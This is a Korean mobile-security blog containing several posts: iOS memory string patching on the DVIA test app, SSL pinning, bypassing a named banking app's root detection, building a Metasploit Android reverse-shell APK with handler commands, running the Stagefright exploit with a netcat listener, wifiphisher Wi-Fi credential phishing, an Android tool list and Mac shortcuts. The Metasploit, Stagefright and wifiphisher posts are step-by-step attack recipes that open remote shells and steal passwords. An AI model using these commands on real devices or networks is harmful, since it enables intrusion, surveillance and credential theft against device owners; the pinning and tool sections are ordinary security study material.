'전체'에 해당되는 글 120건

  1. 2016.04.20 iOS Memory 문자열 변조(String Edit in iOS Memory)
  2. 2016.02.29 Securing mobile banking on Android with SSL certificate pinning
  3. 2015.11.16 Android Rooting 체크 우회(Hooking with Cydia Substrate)
  4. 2015.11.16 [Android Exploit] Android Exploit with metasploit
  5. 2015.11.16 [Android Exploit] Stagefright 취약점
  6. 2015.09.17 Android Tool
  7. 2015.07.01 [Wi-Fi] wifiphisher
  8. 2015.07.01 OS X: 키보드 단축키
  9. 2015.03.12 XCode printf("Hello, World!");
  10. 2015.03.05 Sublime Text에서 Androguard plugin 설치 및 사용법 (1)
  11. 2015.02.12 [Android] 안드로이드에 python 설치
  12. 2015.01.30 Unicode 한글
  13. 2015.01.26 [DVIA] 11. Sensitive Information in memory
  14. 2015.01.20 iOS GNU Debugger 설치
  15. 2014.11.30 오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora)
  16. 2014.11.28 arm-llinux-gnueabi-gcc를 이용한 android C언어 크로스 컴파일
  17. 2014.11.23 iRET, Snoop-it 동시 설치
  18. 2014.11.23 iNalyzer5
  19. 2014.11.12 [DVIA] 10. Binary Patching
  20. 2014.10.28 SandWorm exploit MS파워포인트(PPT)
  21. 2014.10.13 [XSS] PHP htmlspecialchars 우회
  22. 2014.10.10 Obfuscated code
  23. 2014.09.30 GNU Bash 환경 변수 명령어 인젝션 Shellshock (1)
  24. 2014.09.28 윈도우 가젯 All CPU Meter
  25. 2014.09.11 [DVIA] 03. Runtime Manipulation
  26. 2014.09.11 [DVIA] 02. Jailbreak Detection (5)
  27. 2014.09.10 [DVIA] 01. Insecure Data Storage
  28. 2014.08.24 [Local Exploit] Local Privilege Escalation
  29. 2014.07.24 [iOS] Logify
  30. 2014.07.21 [DVIA] Damn Vulnerable iOS Application
메모리 변조하는 방법에 대해서 일부 개발자만 동작원리와 개발하는 방법을 알고있다. 오늘 메모리 변조에 대한 기본 지식, 메모리 함수, 변조 방법까지 정리 할 예정이다.

Part 1. 기본 개념
1. Process 프로세스
우리는 HelloWorld.c 컴파일을 하면 HelloWorld.exe을 실행 파일을 생성 수 있다. iOS/OSX는 실행 가능한 파일들이 모두  실행에 필요한 데이터와 명령어가 포함된 March-O 포맷으로 되어있다. 운영체제에서 해당 실행파일을 실행하면 우리는 그걸 프로세스라고 불른다. 사실 실행파일과 프로세스는 데이터와 명령어의 집합이 다른 상태의 같은 오브젝트(객체)이다. 실행 파일은 정적, 프로세스는 동적이라고 볼 수있다. 실행 파일은 하드 디스크에 저장되어있고 프로세스는 메모리 내 저장된다.
 
2. Vitual memory, memory page and memory region 영역
운영체제에서 실행파일을 실행할경우, 운영체제는 실행파일을 디스크에서 메모리로 로드한다. 이 프로세스는 메모리 어디에 위치할까?  ATM은 매우 복잡한 절차이며,  만일 꼭 알아야할 개념은 모든 프로세스는 별도의 메모리 공간을 차지한다는 것이다. 메모리 가상화를 통하여 프로세스 A와 프로세스 B는 다른 메모리 공간에 있다. 대부분의 메모리 작동은 가상 메모리를 기반한다. 그리고 ARMv7과 같은 32bit 프로세서의 경우 각 프로세스의 가상 메모리 사이즈는 2^32 = 4G바이트이다. 하지만 대부분의 프로세스는 실행 시 4GB를 사용하지 않고 4GB 보다 작은 부분을 소비한다. 프로세스 사용시 메모리의 실제 사이즈는 프로세스의 가상 메모리 공간이라고 불린다, 그리고 4GB 가상 메모리 공간은 많은 다양한 페이지 분할로 분할되어있다. 가상 메모리의 contiguous 블록은 고정(4096byte on iOS/OSX)되어있다. 메모리 동작의 최소한의 단위이다. 프로세스 가상 메모리 주소 공간은 다수의 메모리 영역으로 구성되어있다. 각각의 메모리 영역은 가상 메모리 페이지의 수를 포함하고, pay attention, 메모리 영역은 연속하지 않을 수 있다. 따라서 위의 개념은 다음  scrawls에 의해 설명 될 수 있다.



Part 2 Modeling 모델링
기본 개념을 정확하게 이해하고 난 다음에 메모리 변조에 대한  프로그래밍 모델을 구현하여 실제 코드를 작성해 본다.

메모리 변조란 무엇인가? 메모리에 있는 데이터를 수정하는 것이다.  어떻게 해야하는걸까? 메모리에는 주소가 존재하며, 시스템 APIs를 이용하여 우리가 찾을 값을 가지고 있는 주소를 읽고 쓸수가 있다. 하지만 우리가 찾을 주소는 어디있을까? 그 위치를 어떻게 찾을 수 있을까? 우리가 알고 있듯이 기계 코드는 쉽게 읽을 수가 없는 로우 레벨 코드로 작성되어있다. 하지만 기계가 읽을 수 있는 언어이다. 그리고 모든 기계 코드는 0과 1로 작성된 바이너리 포맷으로 되어있다. 즉, 궁극적으로 명령어와 데이타 모두 0과 1로 작성되어 있으며, 가상 메모리 상의 주소 공간은 모두 0과 1로 채워진다. 만일 찾을 값이 “010101”이면 가상 메모리 상의 주소 공간은 "00000111110101010110011000…”라고 작성되어지며 가상 메모리상의 주소 공간에서 우리가 목표한 값을 찾는건은 단락 내 문자열 패턴을 검색하는 것 만큼 쉽니다.
 
ARM은 little-endian형식으로 되어 있다.


메모리 수정 모델은 3개지로 나눈다
1) 모든 가상 메모리 영역을 나열 하여 대상 프로세스에서 가상 메모리 주소 공간을 얻는다.
2) 주소 공간에서 찾고자 하는 데이터를 찾는다. 그리고  찾고자하는 데이터의 주소를 얻는다.
3) 찾고자하는 데이터가 존재하는 주소의 데이터를 변경한다.


Part 3 functions 함수
코딩하기 전에, 빈번하게 접할 함수를 빠르게 살펴보자. 모두 mach_vm 함수들이다.
http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/osfmk/vm/vm_user.c

kern_return_t
mach_vm_read(
      vm_map_t       map,
      mach_vm_address_t       addr,
      mach_vm_size_t      size,
      pointer_t      *data,
      mach_msg_type_number_t      *data_size);
Description: Read/copy a range from one address space and return it to the caller. $map$ is the port for the task whose memory is to be read; $addr$ is the address at which to start the read; $size$ is the number of bytes to read; $data$ is a buffer to store the read bytes; $data_size$ on input, is a pointer to the maximum size of the buffer; on output, points to the size read.

kern_return_t
mach_vm_write)
     vm_map_t     map,
     mach_vm_address_t     address,
     pointer_t     data,
     __unused mach_msg_type_number_t size);
Description: Write data to the specified address in the target task's address space. $map$ is the port for the task whose memory is to be written; $address$ is the address at which to start the write; $data$ is a buffer to be written; $size$ is the size of $data$.

kern_retrun_t
mach_vm_region(
     vm_map_t     map,
     mach_vm_offset_t     *address,
     mach_vm_size_t     *size
     vm_region_flavor_t     flavor,
     vm_region_info_t     info
     mach_msg_type_number_t     *count,
     mach_port_t     *object_name);

Description: Return description of a virtual memory region. $map$ is the port for the task whose address space contains the region; $addr$ on input, is the address at which to start looking for a region; on output, returns the starting address actually used; $size$ on output is the number of bytes in the located region; $flavor$ is the type of information to be returned, should be VM_REGION_BASIC_INFO$info$ returns region information, should be of type vm_region_basic_info_data_64_t on both 32-bit and 64-bit OSes; $count$ on input, should be VM_REGION_BASIC_INFO_COUNT_64; on output, the size of the region.

void *
memmem(const void *big, size_t big_len, const void *little, size_t little_len);
Description: Locates the first occurrence of the byte string $little$ in the byte string $big$. If it matches, a pointer to the first character of the first occurrence of $little$ is returned; else it returns NULL.

Part 4 코딩
https://github.com/iosre/HippocampHairSalon

Part 5 테스트

약간 소스코드를 수정하여 String을 인식할 수 있도록 변경하였다.

memory_iOS_v.0.6.zip


DVIA라는 앱의 Binary Patching의 로그인 프로세스를 이용하여 메모리 변조가 잘 되는지 확인하려고 한다.
Login Method 1의 계정과 비밀번호는 Admin/This!sA5Ecret 이다.
이때 로그인 비밀번호에 qqqqqqqqqqqqq를 입력하면 로그인이 틀리게 된다.



./memory_char_iOS -> 실행하면 아래와 같이 PID를 읽어온다.
변경하고 싶은 프로세스 PID를 입력하고 문자열을 검색한다.
이전에 qqqqqqqqqqqqq를 입력 했으므로 해당 문자열을 검색한다.
Please choose your next action 1 -> Modify search results; 선택
0x메모리 주소 -> 입력
This!sA5Ecret -> 입력


Admin/qqqqqqqqqqqqq를 입력한 상태에서 memory_char_iOS를 이용하여 문자열을 This!sA5Ecret를 입력한다.
메모리 내에서는 입력패드로 입력한 비밀번호가 qqqqqqqqqqqqq에서 This!sA5Ecret로 변경된 상태이므로 로그인이 성공하게 된다.







 
  
저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
애플리케이션과 서버간에 민감한 정보를 안전하게 전송하고 싶을 때, SSL 방식을 채택하여 사용할 것이다. 하지만 SSL 채택은 반만 맞는 이야기다.

애플리케이션과 서버간에 민감한 데이터를 전송하는 일은 빈번하다. 가장 대표적인 예로는 모바일 은행 애플리케이션이 있다. 가장 최악의 사황으로는 악의적인 해커가 당신의 은행 계좌 정보나 돈을 훔치거나 더 나쁜 행위를 저지를 수 있다.

모바일 뱅킹 솔루션에서 보안은 중요하기 때문에 데이터의 안전과 비밀성을 유지하기 위해서 SSL을 사용하는 것이다. 하지만 이러한 방법은 깨질 수 있다.

Certificate pinning이란?


SSL 연결을 만들 때 기본적으로 클라이언트는 서버의 인증서를 확인하게 된다.
- 신뢰할수 있는 상위(root) 인증서를 검증 가능한 체인이 존재하는지 여부
- 요청한 호스트 명의 신뢰 여부

서버가 이미 알고있는 특정 인증서의 경우에 대해서 확인하지 않는 경우가 발생한다.

장지(모바일 디바이스) 안에 신뢰하는 저장서와 원격서버 사이의 의존도로 인해 보안문제가 발생한다. 사용자가 임의로 모바일 디바이스에 신뢰하는 저장소에 인증서를 설치 가능하므로, Man-in-the middle attacks(중간자 공격)이 가능하다.

Certificate pinning은 이러한 문제를 해결해준다. 서버에서 사용할 인증서를 모바일 안에 하드코딩하게된다. 앱은 디바이스 내 신뢰하는 저장소에 의존하는 대신에 앱 내부에 있는 인증서를 사용하여 서버와 SSL을 연결하게 된다.

또한 디바이스에 부가적인 인증서 설치가 필요 없으며 자체 서명된 인증서로 호스트 신뢰 기능을 제공한다.

장점 :
- 보안 강화 : Pinned SSL 인정서를 사용하면 앱은 디바이스 내 신뢰하는 인증서 저장소와 독립하여 사용할 수 있다. 앱 내부에 하드 코딩 된 신뢰하는 인증서 저장소를 건드는건 쉽지 않다. 앱을 디컴파일하여 변경 후 재 컴파일  해야한다. 앱에서 서명했던 기존 개발자와 같은 Android Keystore을 사용하여 서명은 불가능하다.

- 비용 절감 : SSL 인증서 피닝은 자체 서명된 인증서를 사용할 수 있도록 제공해준다. 예를들어 앱 개발 시 자체 API 서버를 사용한다면 인증서에 대한 지불 대신에 자체 서명된 인증서를 서버에 사용가능하다. 비록 그 비용이 아주 적어도 이러한 방법으로 보안 강화와 비용 절감할 수 있다.

결점 :
- 융통성 부족 : SSL 인증서 피닝을 사용하고 있다면 쉽게 SSL 인증서 변경이 불가능하다. 모든 SSL인증서를 변경하기 위해서는 앱을 업데이트하고 Google Play에 다시 올려야한다. 또한 사용자들도 재설치 해야한다.

Android 내부에서 동작 방식

Android 내 Pinning SSL 인증서를 넣는 일은 쉽지 않다. Android 2.2 이상 버전에서 작업해야하며, 적용 전에 많은 정보를 찾아야한다.

프로세스 내 3가지 중요한 단계 :
- 원하는 서버에 대한 인증서 획득(전체 인증서 체인)
- .bks 형태로 인증서를 제작 - 모든 디바이스에서 호환하기 위해서는 매우 중요한 작업
- Android에서 제공한 Apache HTTP Client 사용 - SSL 연결을 위해서 제공한 .bks keystore를 초기화하는데 사용

완벽하게 동작하는 예 : https://github.com/ikust/hello-pinnedcerts

SSL 피닝은 모든 앱에서 동작해야하는건 아니지만, 위험도가 높은 앱에서 보안 레벨을 올리는데 의미가 있다.

참고 자료 : https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
저작자 표시 비영리 동일 조건 변경 허락
신고
일부 금융 모바일 애플리케이션의 경우 Super user 권한을 임시 비활성화해도 정상 작동하지만 대부분의 금융 애플리케이션은 위변조를 통하여 Android 플랫폼 위변조를 탐지를 우회하게 된다. 하지만 최근 모바일 애플리케이션은 난독화, 재컴파일 방지, 위변조 탐지 등을 통해서 애플리케이션 위변조를 이용한 Super user 권한 탐지 우회가 어려워지고 있다.

Android Hooking

후킹(영어: hooking)은 소프트웨어 공학 용어로, 운영 체제나 응용 소프트웨어 등의 각종 컴퓨터 프로그램에서 소프트웨어 구성 요소 간에 발생하는 함수 호출, 메시지, 이벤트 등을 중간에서 바꾸거나 가로채는 명령, 방법, 기술이나 행위를 말한다. 이때 이러한 간섭된 함수 호출, 이벤트 또는 메시지를 처리하는 코드를 후크(영어: hook)라고 한다.

크래킹(불법적인 해킹)을 할 때 크래킹 대상 컴퓨터의 메모리 정보, 키보드 입력 정보 등을 빼돌리기 위해서 사용되기도 한다.

예를 들어 특정한 API를 후킹하게 되면 해당 API의 리턴값을 조작하는 등의 동작을 수행할 수 있다..
- 위키백과, 우리 모두의 백과사전.


후킹을 통해서 ARM 기반의 안드로이드 환경(Rooting 필수)에서 모바일 애플리케이션 위변조 없이 해당 애플리케이션 라이브러리 내 함수에 대한 호출 주소를 변경하여 Rooting 탐지 및 특정 기능 변경이 가능하다.



There is a process that is called "Zygote". This is the heart of the Android runtime. Every application is started as a copy ("fork") of it. This process is started by an /init.rc script when the phone is booted. The process start is done with /system/bin/app_process, which loads the needed classes and invokes the initialization methods.

*. zygote process
Zygote란  Android System에서 애플리케이션을 빠르게 구동하기 위해서 미리 fork되어있는 중립적인 상태로 대기하는 프로세스로 system에서 exec()호출을 통해 특정 애플리케이션을 실행하면 zygote process와 결합하여 구동하게 된다.

zygote process는 init process에 의해 구동되며 init process가 system 구동에 필요한 각 daemon을 로드 후 마지막에 로드되는 process로 android 서비스 및 애플리케이션은 zygote process를 통해 로드되어 진다. Android Shell ps 명령어를 이용하여 PID와 PPID를 통하여 init process가 생성시킨 process들과 zygote process가 생성시킨 process를 확인 가능하다. zygote process가 실행이 되면 Dalvik VM을 실행시키게 되는데 class와 resource를 미리 로딩한 상태로 application의 logic을 기다리게되어 구동 속도가 빨라지게 된다.

* Cydia Substrate는 Xposed와 비슷한 방식으로 후킹을 진행하며, 아직 Cydia Substrate의 후킹방식을 분석을 종료하지 못하여 대신 Xposed 후킹 방식을 서술하였습니다.

Xposed 프레임웍을 설치하면 확장 app_process 실행 파일을 /system/bin 아래 복사한다. 확장된 setup 프로세스는 Xposed jar 파일을 classpath에 추가하고 특정 위치에서 method를 호출하게 된다. 예를 들어 VM이 생성된 직후 Zygote가 애플리케이션의 main method를 호출 하기 전에 Xposed가 method 내부에서 일부 맥락(context)을 수행하게 된다.


후킹방법

- Superuser 권한 활성화 확인



- Hana N Bank 루팅 탐지 확인




- Play 스토어에서 Cydia substrate, Root cloak plus 설치



- RootCloak Plus에서 루팅 탐지를 우회할 어플리케이션 선택



- Hana N Bank 어플리케이션 종료 후 재 실행 (루팅 미탐지)



 ※ 주의

 본 사이트의 모든 정보는 정보보안 강화를 위한 연구 목적으로 작성되는 블로그 입니다.

 만일 악의적으로 이용시 사용자는 아래와 같은 관련법으로 처벌 받을 수 있습니다.


 

※ 참고자료

Cydia Substrate
http://www.cydiasubstrate.com/id/38be592b-bda7-4dd2-b049-cec44ef7a73b/

Xposed
https://github.com/rovo89/XposedBridge/wiki/Development-tutorial


저작자 표시 비영리 동일 조건 변경 허락
신고
metasploit reverse_tcp android
http://exploiterz.blogspot.kr/2013/07/how-to-hack-android-devices-using.html

메타익스플로잇을 사용하여 안드로이드 Exploit Code가 포함된 APK 생성 및 리버스커넥션 연결하기

# ifconfig


# msfpayload android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 R > oneandonlyme.apk


# msfconsole


msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost X.X.X.X
msf exploit(handler) > set lport 4444


msf exploit(handler) > exploit


sysinfo
webcam_list
getuid
ps




저작자 표시 비영리 동일 조건 변경 허락
신고

Android 미디어 파일을 처리하는 Stagefright에서 다수의 정수 오버플로우 취약점이 발견되어 해커가 조작된 미디어 파일을 MMS를 이용하여 피해자로 전송할 경우 사용자의 인지 없이 원격 코드 실행 및 권한상승이 가능하다.

영향 받는 버전

안드로이드 2.2(Froyo) ~ 5.1.1_r5(Lollipop)


Common Vulnerabilities and Exposures (CVE) 번호

CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828

테스트

https://www.exploit-db.com/exploits/38124/

exploit code를 실행하면 수많은 에러 메세지가 발생한다. Linux에서 Windows로 포팅하는 작업이 필요하다.

# 특수 문자 치환
〃  ->  "
〃'''' ->  """
―  ->  -










 # 불필요한 문구 삭제
- See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purpose/#sthash.MbvoiMxd.dpuf



# mp4.py로 파일명 변환



# 옵션 특수문자 치환 ―  ->  -




# 실행


> python mp4.py -c [리버스커넥션을 연결한 서버 IP] [Port]





# 리버스커넥션 열기
> nc.exe -l -p [Port]


# Genymotion에서 시연 실패


-_-??

참고자료

- http://www.zdnet.com/article/check-your-android-device-for-the-stagefright-vulnerability/
- http://www.techrepublic.com/article/how-to-scan-your-device-for-the-stagefright-vulnerability/
- http://thehackernews.com/2015/09/stagefright-android-exploit-code.html
- http://null-byte.wonderhowto.com/forum/stagefright-exploit-released-0164432/
- https://en.wikipedia.org/wiki/Stagefright_(bug)



저작자 표시 비영리 동일 조건 변경 허락
신고

Android Tool

40./41. Android 2015.09.17 17:24
Please use left sidebar to navigate between sections.                                  Last Updated on: 8-May-2015

 Forensics Tools 

  • Android Forensics - Open Source Android Forensics App and Framework

  • Android Data Extractor Lite

  • BitPim - BitPim is a program that allows you to view and manipulate data on many CDMA phones from LG, Samsung, Sanyo and other manufacturers.

  • LiME - LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android.

  • Open Source Android Forensics

  • P2P-ADB - Phone to Phone Android Debug Bridge - A project for "debugging" phones from other phones.

  • pySimReader - It allows users to write out arbitrary raw SMS PDUs to a SIM card.

 Development Tools 

  • Android SDK - The Android software development kit (SDK) includes a comprehensive set of development tools. These include a debugger, libraries, a handset emulator based on QEMU, documentation, sample code, and tutorials.

  • Android NDK - The NDK is a toolset that allows you to implement parts of your app using native-code languages such as C and C++.

  • ADT Bundle - The Android Developer Tools(ADT) bundle is a single download that contains everything for developers to start creating Android Application

    • Android Studio IDE or Eclipse IDE
    • Android SDK tools
    • Android 5.0 (Lollipop) Platform
    • Android 5.0 emulator system image with Google APIs
  • Native Android Runtime Emulation - A native Android emulator featuring the following functions:

    • Full stack support for ELF built by Android NDK.
    • Seeminglessly native gdb support.
    • Link and load shared library.
    • Open to extension of different architecture and C runtime.
  • Root Tools - RootTools provides rooted developers a standardized set of tools for use in the development of rooted applications.

 Static Analysis Tools 

  • Androwarn:- Yet another static code analyzer for malicious Android applications

  • ApkAnalyser - ApkAnalyser is a static, virtual analysis tool for examining and validating the development work of your Android app.

  • APKInspector - APKinspector is a powerful GUI tool for analysts to analyze the Android applications.

  • Error-Prone - Catch common Java mistakes as compile-time errors

  • FindBugs + FindSecurityBugs - FindSecurityBugs is a extension for FindBugs which include security rules for Java applications. It will find cryptography problems as well as Android specific problems.

  • FlowDroid - FlowDroid is a context-, flow-, field-, object-sensitive and lifecycle-aware static taint analysis tool for Android applications.

  • Lint - The Android lint tool is a static code analysis tool that checks your Android project source files for potential bugs and optimization improvements for correctness, security, performance, usability, accessibility, and internationalization.

  • Smali CFGs - Smali Control Flow Graph's

  • Smali and Baksmali - smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android's Java VM implementation.

  • Thresher - Thresher is a static analysis tool that specializes in checking heap reachability properties. Its secret sauce is using a coarse up-front points-to analysis to focus a precise symbolic analysis on the alarms reported by the points-to analysis.

 Dynamic Analysis Tools 

  • Android Hooker - This project provides various tools and applications that can be use to automaticaly intercept and modify any API calls made by a targeted application.

  • Droidbox - DroidBox is developed to offer dynamic analysis of Android applications

  • Drozer - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

  • Xposed Framework

 Reverse Engineering Tools 

  • Androguard - Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !)

  • Android loadble Kernel Modules - It is mostly used for reversing and debugging on controlled systems/emulators.

  • AndBug - Android Debugging Library

  • ApkTool - A tool for reverse engineering Android Apk Files

  • APK Studio - APK Studio is an IDE for decompiling/editing & then recompiling of android application binaries.

  • Bytecode-Viewer - A Java 8 Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

  • CodeInspect - A Jimple-based Reverse-Engineering framework for Android and Java applications.

  • dedex - A command line tool for disassembling Android DEX files.

  • Dex2Jar - Tools to work with android .dex and java .class files

  • dexdisassembler - A GTK tool for disassembling Android DEX files.

  • Fern Flower - FernFlower Java decompiler

  • Fino - Android small footprint inspection tool

  • Introspy-Android - Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues.

  • JD-Gui - Yet another fast Java Decompiler

  • JEB - The Interactive Android Decompiler

  • smali - An assembler/disassembler for Android's dex format

 Hooking Tools 

  • ADBI Framework - Simple and easy to use toolkit for dynamic instrumentation of Dalvik code.

  • Cydia Substrate - Cydia Substrate for Android enables developers to make changes to existing software with Substrate extensions that are injected in to the target process's memory.

  • Xposed Framework - Xposed framework enables you to modify the system or application aspect and behaviour at runtime, without modifying any Android application package(APK) or re-flashing.

  • Frida - Inject JavaScript to explore native apps on Android

 Obfuscators & Deobfuscators Tools 

  • APK Obfuscator - A generic DEX file obfuscator and munger.

  • Bytecode-Viewer - A Java 8 Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

  • Class Name Deobfuscator - Simple script to parse through the .smali files produced by apktool and extract the .source annotation lines.

  • Dalvik Obfuscator - A set of tools/scripts to obfuscate and manipulate dex files

  • Simplify - Generic Android Deobfuscator

 Online Analyzers 

  • Android Observatory - The Android Observatory is a web interface to a large repository of Android applications. It allows users to search or browse through thousands of Android apps and retrieve metadata for those apps.

  • Android APK Decompiler - Decompiling APK files made easy. Online decompiler.

  • AndroidTotal - AndroTotal is a free service to scan suspicious APKs against multiple mobile antivirus apps.

  • Anubis - Malware Analysis for Unknown Binaries.

  • Akana - Akana is an online Android app Interactive Analysis Enviroment (IAE), which is combined with some plugins for checking the malicious app.

  • App360Scan - Tells about permissons used by an Application and what harm it can cause to users.

  • CopperDroid - It automatically perform out-of-the-box dynamic behavioral analysis of Android malware.

  • Dexter - Dexter is an interactive Android software analysis environment with collaboration features.

  • Eacus - A lite Android app analysis framework

  • Mobile Sandbox - The Mobile-Sandbox provides static and dynamic malware analysis combined with machine learning techniques for Android applications.

  • Sandroid - An automatic Android application analysis system

  • Virus Total - VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.

 Android Testing Distributions 

  • Appie - A portable software package for Android Pentesting and an awesome alternative to existing Virtual machines.It is a one stop answer for all the tools needed in Android Application Security Assessment, Android Forensics, Android Malware Analysis.

  • Android Tamer - Android Tamer is a Virtual / Live Platform for Android Security professionals.

  • AppUse - AppUse is a VM (Virtual Machine) developed by AppSec Labs.

  • Mobisec - Mobile security testing live environment

  • Now Secure App Testing Suite:Community Edition

  • Santoku Linux - Santoku Linux is a virtual machine developed by NowSecure Mobile.

  • Shadow OS - ShadowOS is a free tool designed by Fortify on Demand to help Security and QA teams test Android applications for security vulnerabilities. It is a custom OS based off of KitKat that intercepts specific areas of the device's operation and makes testing apps for security vulnerabilites easier.

  • Vezir Project - Yet Another Linux Virtual Machine for Mobile Application Pentesting and Mobile Malware Analysis.

 Android Vulnerable Apps 

 Android Security Apps 

  • Android IMSI-Catcher-Detector - It is an app to detect IMSI-Catchers. IMSI-Catchers are false mobile towers (base stations) acting between the target mobile phone(s) and the real towers of service providers. As such they are considered a Man-In-The-Middle (MITM) attack. In the USA the IMSI-Catcher technology is known under the name "StingRay".

  • Am I Vulnerable - AIV is an Android security app that notifies the user of publicly known vulnerabilities found in the installed version of apps on the device.

Application Security Framework

  • AppRay - App-Ray takes a look inside your apps and helps you understand what they really do. In fully automated tests, App-Ray analyzes apps and highlights vulnerabilities, data leaks, and privacy breaches.

  • YSO-Mobile Security Framework - Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis.

 Android Malwares Related 

 Tutorials 

 Android Vulnerability List 

 Android Security Libraries 

  • Android Password Store

  • Android Pinning - A standalone library project for certificate pinning on Android.

  • Conceal By Facebook - Conceal provides easy Android APIs for performing fast encryption and authentication of data.

  • Dexguard - DexGuard is our specialized optimizer and obfuscator for Android. Create apps that are faster, more compact, and more difficult to crack.

  • Encryption - Encryption is a simple way to create encrypted strings to Android project.

  • CWAC-Security - Helping You Help Your Users Defend Their Data

  • IOCipher - IOCipher is a virtual encrypted disk for apps without requiring the device to be rooted.

  • Java AES Crypto - A simple Android class for encrypting & decrypting strings, aiming to avoid the classic mistakes that most such classes suffer from.

  • NetCipher - This is an Android Library Project that provides multiple means to improve network security in mobile applications.

  • OpenPGP API - The OpenPGP API provides methods to execute OpenPGP operations, such as sign, encrypt, decrypt, verify, and more without user interaction from background threads.

  • OWASP Java HTML Sanitizer

  • Proguard - ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes.

  • Spongy Castle - a repackage of Bouncy Castle for Android

  • SQL Cipher - SQLCipher is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files.

  • Secure Preferences - Android Shared preference wrapper than encrypts the keys and values of Shared Preferences.

  • Trusted Intents - Library for flexible trusted interactions between Android apps

 Best Practices 

 Contribute 

It is awesome to see that you want to contribute in this wiki, which would directly help the community. Project/Tools which are no longer maintained are not included in this wiki. List of awesome contributors to this wiki is given below. Please follow one of the ways from below to include tool or resource in this wiki-

Please let me know if you have any suggestions

Below is the list of awesome people who contributed to this wiki.I would like to specially thanks Philippe Arteau and Amandeep Gupta who contributed a lot for UI of this website.


https://mobilesecuritywiki.com/

저작자 표시 비영리 동일 조건 변경 허락
신고



개요

무선 네트워크에서 암호문과 인증 정보를 획득하기 위한 자동화된 피싱 공격 툴이다. 무차별 공격을 하지 않고 사회 공학적 방법을 이용하여 WPA/WPA2의 암호문과 인증정보를 쉽게 획득 가능하다.

wifiphisher는 칼리 리눅스에서 동작하며 MIT라이센스 아래 사용 가능하다.

절차

1. Victim은 AP로 미인증 상태
- 네트워크 범위 내에 존재하는 모든 wifi 디바이스에 deauth 패킷을 전송하여 트래픽 혼잡을 일으킨다.
2. Clinet는 가짜 AP(Acess point)에 접근
- 설정 상태를 복사한 AP를 도청한다. 그 다음 설정 상태를 복사한 AP를 가짜로 생성한다. Client가 가짜 AP로 연결을 시도하게되어 중간자 공격을 당하게 된다.
3. 실제 라우터 설정으로 보이는 페이지 제공
- HTTP & HTTPS 요청에 응답하는 작은 웹페이지 제공한다. 해당 페이지는 라우터 펌웨어 업그레이드에 WPA 암호 입력 요청하여 네트워크 상의 WPA 암호 키를 탈취한다.

사용법

Short form Long form Explanation
-m maximum Deauth 타격 후 리스트에 받을 최대 Clinet 수
ex) -m 5
-n noupdate Deauth 리스트 최대 수에 초달해도 초기화 금지
ex) -m 10 -n
-t timeinterval 전송되는 패킷 사이 시간간격
try) -t .00001 (미사용시 가장 빠른 응답)
-p packets Deauth burst를 전송할 개 수
ex) -p 2
-d directedonly 비인증된 패킷은 생략하고 Client/AP 페어링
-a accesspoint 특별한 AP 맥 주소 입력
-jl jamminginterface 트레픽을 방해할 인터페이스 선택. 기본적으로 가장 강력한 인터페이스 발견 후 모니터링
-al apinterface 가짜 AP에 대한 인터페이스 선택. 기본적으로 두번째로 강력한 인터페이스 발견 후 모니터링

방법

무선 랜카드 설정 확인


스크립트 실행
#python wifiphisher.py


서비스 시작


공격할 AP의 SSID 선택


강제 트래픽 잼 발생 후 재 접근 요청 메시지 확인


타 기기에서 가짜 AP접근 확인


라우터 업데이트 비밀번호 요청 및 탈취


출처

https://github.com/sophron/wifiphisher


저작자 표시 비영리 동일 조건 변경 허락
신고

'10. > 16. WiFi' 카테고리의 다른 글

[Wi-Fi] wifiphisher  (0) 2015.07.01

OS X: 키보드 단축키 

키보드에서 키 조합을 누름으로써 Mac에서 키보드 단축키를 사용하여 작업을 수행할 수 있습니다.

키보드 단축키 사용하기


키보드 단축키를 사용하려면 조합 키를 누르는 동시에 문자 키를 누릅니다. 예를 들어 command 키(⌘ 기호가 있는 키)와 'c' 키를 누르면 현재 선택한 항목이 클립보드에 복사됩니다. 이를 command-C 키보드 단축키라고도 합니다. App의 메뉴에서 많은 단축키가 표시된 키를 볼 수 있습니다.

조합 키는 여러 키보드 단축키의 일부입니다. 조합 키는 OS X에서 다른 키 입력 또는 마우스/트랙패드 클릭을 해석하는 방식을 변경합니다. 조합 키에는 command, shift, option, control, caps lock 및 fn 키가 있습니다. OS X의 메뉴 및 다른 구성 부분에서 확인되는 경우 이러한 키는 특수 기호로 표시됩니다.

command 키
control 키
option 키
shift 키
caps lock
fn 기능 키

 

